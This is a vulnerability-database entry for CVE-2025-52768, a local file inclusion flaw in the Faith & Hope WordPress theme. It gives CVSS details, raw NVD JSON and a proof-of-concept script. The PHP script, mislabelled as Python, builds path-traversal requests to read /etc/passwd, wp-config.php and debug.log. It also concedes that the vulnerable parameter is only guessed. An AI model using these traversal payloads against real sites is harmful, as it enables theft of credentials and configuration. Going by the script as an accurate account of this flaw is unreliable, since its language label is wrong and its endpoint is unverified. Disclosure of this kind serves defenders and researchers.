Security Vulnerability Report
中文
CVE-2025-52768 CVSS 8.1 HIGH

CVE-2025-52768

Published: 2025-12-18 08:15:53
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Faith & Hope faith-hope allows PHP Local File Inclusion.This issue affects Faith & Hope: from n/a through <= 2.13.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Faith & Hope <= 2.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-52768 PoC - Faith & Hope Theme Local File Inclusion * Target: WordPress Faith & Hope Theme <= 2.13.0 * Vulnerability: Local File Inclusion via improper parameter handling */ $target = 'http://target-site.com/'; // Target URL // Read /etc/passwd $poc1 = [ 'page' => '../../../etc/passwd', ]; echo "[*] CVE-2025-52768 PoC\n"; echo "[*] Target: $target\n\n"; // Attempt to read sensitive files echo "[+] Attempting to read /etc/passwd...\n"; $url1 = $target . '?' . http_build_query($poc1); echo "[+] Request URL: $url1\n"; // Read wp-config.php echo "[+] Attempting to read wp-config.php...\n"; $poc2 = [ 'page' => '../../../wp-config.php', ]; $url2 = $target . '?' . http_build_query($poc2); echo "[+] Request URL: $url2\n"; // Read configuration files echo "[+] Attempting to read configuration files...\n"; $poc3 = [ 'page' => '../../../wp-content/debug.log', ]; $url3 = $target . '?' . http_build_query($poc3); echo "[+] Request URL: $url3\n"; echo "\n[!] Note: Modify parameters based on actual vulnerable endpoint\n"; echo "[!] Check theme source code for exact vulnerable parameters\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52768", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:52.903", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Faith & Hope faith-hope allows PHP Local File Inclusion.This issue affects Faith & Hope: from n/a through <= 2.13.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/faith-hope/vulnerability/wordpress-faith-hope-theme-2-13-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}